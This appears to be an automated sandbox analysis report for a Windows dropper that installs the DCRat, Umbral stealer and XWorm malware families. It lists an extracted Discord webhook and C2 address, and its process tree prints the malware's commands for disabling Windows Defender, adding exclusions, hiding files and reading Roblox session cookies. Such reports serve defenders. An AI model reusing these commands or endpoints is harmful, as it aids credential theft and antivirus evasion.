dcrat | a61ecbd90edbc5cc26ed5bc4ab6064ed7ae966cbf517674458d1823746df2bfd

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
19-05-2024 02:46

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General

Target

aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe
Size

19.8MB
MD5

3969991942bb5b6130977411ae258ab8
SHA1

c391e670488d73dc79c2acfab1e845d9c3e5227e
SHA256

aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28
SHA512

ce009d113cd85629cb744c0e30fecc9cb1f3bc353b546eab676604a3eec976c5f0dc60cb29b7f4841bb71bb7596128340d1b222408c9aeeb9f9671d1a1add00a
SSDEEP

393216:O581WtclJGQ9GnlC58mn3yJQjNKlgtcTuOYTmWYlY5nGPEy+tj7NJX:OeWgdGnlCqm3vKCTmpY5Py+r

Score

10^/10

dcrat umbral xworm execution infostealer rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1221847080373584144/7stbODqa-C2IH_V1s7-AaD6fECqR68YLov_s341xewFGvFGlgl7fRFcAsV3CtRNlSgzQ

Extracted

Family

xworm

127.0.0.1:30683

operating-niger.gl.at.ply.gg:30683:30683

Attributes

Install_directory
%AppData%
install_file
XClient.exe

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00070000000234a5-27.dat	family_umbral
behavioral2/memory/4528-29-0x000001B22E170000-0x000001B22E1B0000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00070000000234ac-58.dat	family_xworm
behavioral2/memory/3564-60-0x0000000000550000-0x0000000000566000-memory.dmp	family_xworm

Process spawned unexpected child process 48 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2532	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4464	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4112	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2364	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	656	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2256	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1396	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4400	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2248	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3716	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2360	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4040	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3860	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1940	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3732	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5024	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3568	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2324	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4520	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1212	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5096	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4696	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	744	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3520	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4952	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1872	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1144	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3132	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4676	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4144	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5080	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3204	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2360	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4040	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3732	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2020	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3580	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3576	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4844	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1464	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4992	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	936	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2704	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1176	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	368	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2568	4472	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	548	4472	schtasks.exe	91

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x00080000000234a0-19.dat	dcrat
behavioral2/files/0x00070000000234a9-117.dat	dcrat
behavioral2/memory/3828-118-0x0000000000BB0000-0x0000000000C86000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1796	powershell.exe
8	powershell.exe
428	powershell.exe
2108	powershell.exe
5048	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	t.bat
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	Nursultan (17).exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	LoaderMas.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	Chainprovider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	Chainprovider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	LoaderMas.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	LoaderMas.exe

Executes dropped EXE 8 IoCs

pid	Process
3224	Nursultan (17).exe
964	t.bat
4528	Umbral.exe
3100	Nursultan.exe
3564	LoaderMas.exe
3828	Chainprovider.exe
3116	Chainprovider.exe
1516	LoaderMas.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	discord.com
27	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com
23	ip-api.com

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Defender\it-IT\sysmon.exe	Chainprovider.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\sysmon.exe	Chainprovider.exe
File created	C:\Program Files\Windows Portable Devices\powershell.exe	Chainprovider.exe
File created	C:\Program Files\Windows Portable Devices\e978f868350d50	Chainprovider.exe
File created	C:\Program Files\Windows Sidebar\RuntimeBroker.exe	Chainprovider.exe
File created	C:\Program Files\Microsoft Office\root\rsod\0a1fd5f707cd16	Chainprovider.exe
File created	C:\Program Files (x86)\Windows Defender\it-IT\121e5b5079f7c0	Chainprovider.exe
File opened for modification	C:\Program Files\Windows Sidebar\RuntimeBroker.exe	Chainprovider.exe
File created	C:\Program Files\Windows Sidebar\9e8d7a4ca61bd9	Chainprovider.exe
File created	C:\Program Files\Windows Sidebar\Shared Gadgets\Umbral.exe	Chainprovider.exe
File created	C:\Program Files\Windows Sidebar\Shared Gadgets\6feec19d54a440	Chainprovider.exe
File created	C:\Program Files\Microsoft Office\root\rsod\sppsvc.exe	Chainprovider.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\Registry.exe	Chainprovider.exe
File created	C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\ee2ad38f3d4382	Chainprovider.exe
File created	C:\Windows\PrintDialog\Assets\csrss.exe	Chainprovider.exe
File created	C:\Windows\PrintDialog\Assets\886983d96e3d3e	Chainprovider.exe
File created	C:\Windows\ServiceProfiles\wininit.exe	Chainprovider.exe
File created	C:\Windows\ServiceProfiles\56085415360792	Chainprovider.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 48 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1176	schtasks.exe
3860	schtasks.exe
3132	schtasks.exe
4144	schtasks.exe
3204	schtasks.exe
1464	schtasks.exe
4992	schtasks.exe
4844	schtasks.exe
2364	schtasks.exe
656	schtasks.exe
4040	schtasks.exe
744	schtasks.exe
2112	schtasks.exe
3732	schtasks.exe
3580	schtasks.exe
936	schtasks.exe
2532	schtasks.exe
4400	schtasks.exe
2360	schtasks.exe
1144	schtasks.exe
4040	schtasks.exe
2020	schtasks.exe
3576	schtasks.exe
4112	schtasks.exe
2248	schtasks.exe
3568	schtasks.exe
1212	schtasks.exe
3520	schtasks.exe
5080	schtasks.exe
5096	schtasks.exe
3732	schtasks.exe
5024	schtasks.exe
2324	schtasks.exe
4520	schtasks.exe
4696	schtasks.exe
1872	schtasks.exe
1396	schtasks.exe
1940	schtasks.exe
4952	schtasks.exe
4676	schtasks.exe
2360	schtasks.exe
548	schtasks.exe
4464	schtasks.exe
2256	schtasks.exe
3716	schtasks.exe
2704	schtasks.exe
368	schtasks.exe
2568	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1780	wmic.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	t.bat
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	Chainprovider.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
936	PING.EXE

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
4528	Umbral.exe
1796	powershell.exe
1796	powershell.exe
4992	powershell.exe
4992	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
3828	Chainprovider.exe
3828	Chainprovider.exe
3100	Nursultan.exe
3100	Nursultan.exe
8	powershell.exe
8	powershell.exe
740	powershell.exe
740	powershell.exe
740	powershell.exe
3116	Chainprovider.exe
3116	Chainprovider.exe
8	powershell.exe
428	powershell.exe
428	powershell.exe
428	powershell.exe
1668	powershell.exe
1668	powershell.exe
2108	powershell.exe
2108	powershell.exe
2108	powershell.exe
1668	powershell.exe
5048	powershell.exe
5048	powershell.exe
5048	powershell.exe
3564	LoaderMas.exe
3564	LoaderMas.exe
1516	LoaderMas.exe
1516	LoaderMas.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4528	Umbral.exe
Token: SeIncreaseQuotaPrivilege	1328	wmic.exe
Token: SeSecurityPrivilege	1328	wmic.exe
Token: SeTakeOwnershipPrivilege	1328	wmic.exe
Token: SeLoadDriverPrivilege	1328	wmic.exe
Token: SeSystemProfilePrivilege	1328	wmic.exe
Token: SeSystemtimePrivilege	1328	wmic.exe
Token: SeProfSingleProcessPrivilege	1328	wmic.exe
Token: SeIncBasePriorityPrivilege	1328	wmic.exe
Token: SeCreatePagefilePrivilege	1328	wmic.exe
Token: SeBackupPrivilege	1328	wmic.exe
Token: SeRestorePrivilege	1328	wmic.exe
Token: SeShutdownPrivilege	1328	wmic.exe
Token: SeDebugPrivilege	1328	wmic.exe
Token: SeSystemEnvironmentPrivilege	1328	wmic.exe
Token: SeRemoteShutdownPrivilege	1328	wmic.exe
Token: SeUndockPrivilege	1328	wmic.exe
Token: SeManageVolumePrivilege	1328	wmic.exe
Token: 33	1328	wmic.exe
Token: 34	1328	wmic.exe
Token: 35	1328	wmic.exe
Token: 36	1328	wmic.exe
Token: SeIncreaseQuotaPrivilege	1328	wmic.exe
Token: SeSecurityPrivilege	1328	wmic.exe
Token: SeTakeOwnershipPrivilege	1328	wmic.exe
Token: SeLoadDriverPrivilege	1328	wmic.exe
Token: SeSystemProfilePrivilege	1328	wmic.exe
Token: SeSystemtimePrivilege	1328	wmic.exe
Token: SeProfSingleProcessPrivilege	1328	wmic.exe
Token: SeIncBasePriorityPrivilege	1328	wmic.exe
Token: SeCreatePagefilePrivilege	1328	wmic.exe
Token: SeBackupPrivilege	1328	wmic.exe
Token: SeRestorePrivilege	1328	wmic.exe
Token: SeShutdownPrivilege	1328	wmic.exe
Token: SeDebugPrivilege	1328	wmic.exe
Token: SeSystemEnvironmentPrivilege	1328	wmic.exe
Token: SeRemoteShutdownPrivilege	1328	wmic.exe
Token: SeUndockPrivilege	1328	wmic.exe
Token: SeManageVolumePrivilege	1328	wmic.exe
Token: 33	1328	wmic.exe
Token: 34	1328	wmic.exe
Token: 35	1328	wmic.exe
Token: 36	1328	wmic.exe
Token: SeDebugPrivilege	3564	LoaderMas.exe
Token: SeDebugPrivilege	1796	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	3828	Chainprovider.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeDebugPrivilege	3116	Chainprovider.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeIncreaseQuotaPrivilege	4664	wmic.exe
Token: SeSecurityPrivilege	4664	wmic.exe
Token: SeTakeOwnershipPrivilege	4664	wmic.exe
Token: SeLoadDriverPrivilege	4664	wmic.exe
Token: SeSystemProfilePrivilege	4664	wmic.exe
Token: SeSystemtimePrivilege	4664	wmic.exe
Token: SeProfSingleProcessPrivilege	4664	wmic.exe
Token: SeIncBasePriorityPrivilege	4664	wmic.exe
Token: SeCreatePagefilePrivilege	4664	wmic.exe
Token: SeBackupPrivilege	4664	wmic.exe
Token: SeRestorePrivilege	4664	wmic.exe
Token: SeShutdownPrivilege	4664	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3564	LoaderMas.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 3224	4492	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe	85
PID 4492 wrote to memory of 3224	4492	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe	85
PID 4492 wrote to memory of 964	4492	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe	86
PID 4492 wrote to memory of 964	4492	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe	86
PID 4492 wrote to memory of 964	4492	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe	86
PID 4492 wrote to memory of 4528	4492	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe	87
PID 4492 wrote to memory of 4528	4492	aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe	87
PID 964 wrote to memory of 4744	964	t.bat	88
PID 964 wrote to memory of 4744	964	t.bat	88
PID 964 wrote to memory of 4744	964	t.bat	88
PID 4528 wrote to memory of 1328	4528	Umbral.exe	181
PID 4528 wrote to memory of 1328	4528	Umbral.exe	181
PID 3224 wrote to memory of 3100	3224	Nursultan (17).exe	93
PID 3224 wrote to memory of 3100	3224	Nursultan (17).exe	93
PID 3224 wrote to memory of 3564	3224	Nursultan (17).exe	95
PID 3224 wrote to memory of 3564	3224	Nursultan (17).exe	95
PID 4528 wrote to memory of 1384	4528	Umbral.exe	96
PID 4528 wrote to memory of 1384	4528	Umbral.exe	96
PID 4528 wrote to memory of 1796	4528	Umbral.exe	98
PID 4528 wrote to memory of 1796	4528	Umbral.exe	98
PID 4528 wrote to memory of 4992	4528	Umbral.exe	161
PID 4528 wrote to memory of 4992	4528	Umbral.exe	161
PID 4528 wrote to memory of 4908	4528	Umbral.exe	104
PID 4528 wrote to memory of 4908	4528	Umbral.exe	104
PID 4744 wrote to memory of 4912	4744	WScript.exe	106
PID 4744 wrote to memory of 4912	4744	WScript.exe	106
PID 4744 wrote to memory of 4912	4744	WScript.exe	106
PID 4912 wrote to memory of 3828	4912	cmd.exe	108
PID 4912 wrote to memory of 3828	4912	cmd.exe	108
PID 3564 wrote to memory of 8	3564	LoaderMas.exe	121
PID 3564 wrote to memory of 8	3564	LoaderMas.exe	121
PID 4528 wrote to memory of 740	4528	Umbral.exe	125
PID 4528 wrote to memory of 740	4528	Umbral.exe	125
PID 3828 wrote to memory of 3116	3828	Chainprovider.exe	128
PID 3828 wrote to memory of 3116	3828	Chainprovider.exe	128
PID 3564 wrote to memory of 428	3564	LoaderMas.exe	141
PID 3564 wrote to memory of 428	3564	LoaderMas.exe	141
PID 4528 wrote to memory of 4664	4528	Umbral.exe	145
PID 4528 wrote to memory of 4664	4528	Umbral.exe	145
PID 4528 wrote to memory of 1356	4528	Umbral.exe	155
PID 4528 wrote to memory of 1356	4528	Umbral.exe	155
PID 4528 wrote to memory of 5024	4528	Umbral.exe	162
PID 4528 wrote to memory of 5024	4528	Umbral.exe	162
PID 4528 wrote to memory of 1668	4528	Umbral.exe	167
PID 4528 wrote to memory of 1668	4528	Umbral.exe	167
PID 3564 wrote to memory of 2108	3564	LoaderMas.exe	169
PID 3564 wrote to memory of 2108	3564	LoaderMas.exe	169
PID 3116 wrote to memory of 1240	3116	Chainprovider.exe	174
PID 3116 wrote to memory of 1240	3116	Chainprovider.exe	174
PID 1240 wrote to memory of 4900	1240	cmd.exe	176
PID 1240 wrote to memory of 4900	1240	cmd.exe	176
PID 4528 wrote to memory of 1780	4528	Umbral.exe	177
PID 4528 wrote to memory of 1780	4528	Umbral.exe	177
PID 3564 wrote to memory of 5048	3564	LoaderMas.exe	180
PID 3564 wrote to memory of 5048	3564	LoaderMas.exe	180
PID 4528 wrote to memory of 1464	4528	Umbral.exe	182
PID 4528 wrote to memory of 1464	4528	Umbral.exe	182
PID 1464 wrote to memory of 936	1464	cmd.exe	184
PID 1464 wrote to memory of 936	1464	cmd.exe	184
PID 1240 wrote to memory of 1516	1240	cmd.exe	187
PID 1240 wrote to memory of 1516	1240	cmd.exe	187

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1384	attrib.exe

C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe
"C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Users\Admin\AppData\Roaming\Nursultan (17).exe
  "C:\Users\Admin\AppData\Roaming\Nursultan (17).exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Users\Admin\AppData\Roaming\Nursultan.exe
    "C:\Users\Admin\AppData\Roaming\Nursultan.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3100
- - C:\Users\Admin\AppData\Roaming\LoaderMas.exe
    "C:\Users\Admin\AppData\Roaming\LoaderMas.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\LoaderMas.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:8
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LoaderMas.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5048
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1328
- C:\Users\Admin\AppData\Roaming\t.bat
  "C:\Users\Admin\AppData\Roaming\t.bat"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:964
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\perfdhcpSvc\LUps3wjkA6jhdk7xRy8J55z2u.vbe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\perfdhcpSvc\mStUjP0ksX5N.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4912
    - - C:\perfdhcpSvc\Chainprovider.exe
        
        "C:\perfdhcpSvc\Chainprovider.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3828
      - C:\perfdhcpSvc\Chainprovider.exe
        
        "C:\perfdhcpSvc\Chainprovider.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\lEEmdmcqAW.bat"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1240
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        8⤵
        
        PID:4900
        
        C:\Users\Public\LoaderMas.exe
        
        "C:\Users\Public\LoaderMas.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1516
- C:\Users\Admin\AppData\Roaming\Umbral.exe
  "C:\Users\Admin\AppData\Roaming\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:1384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:740
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4664
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1356
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:5024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
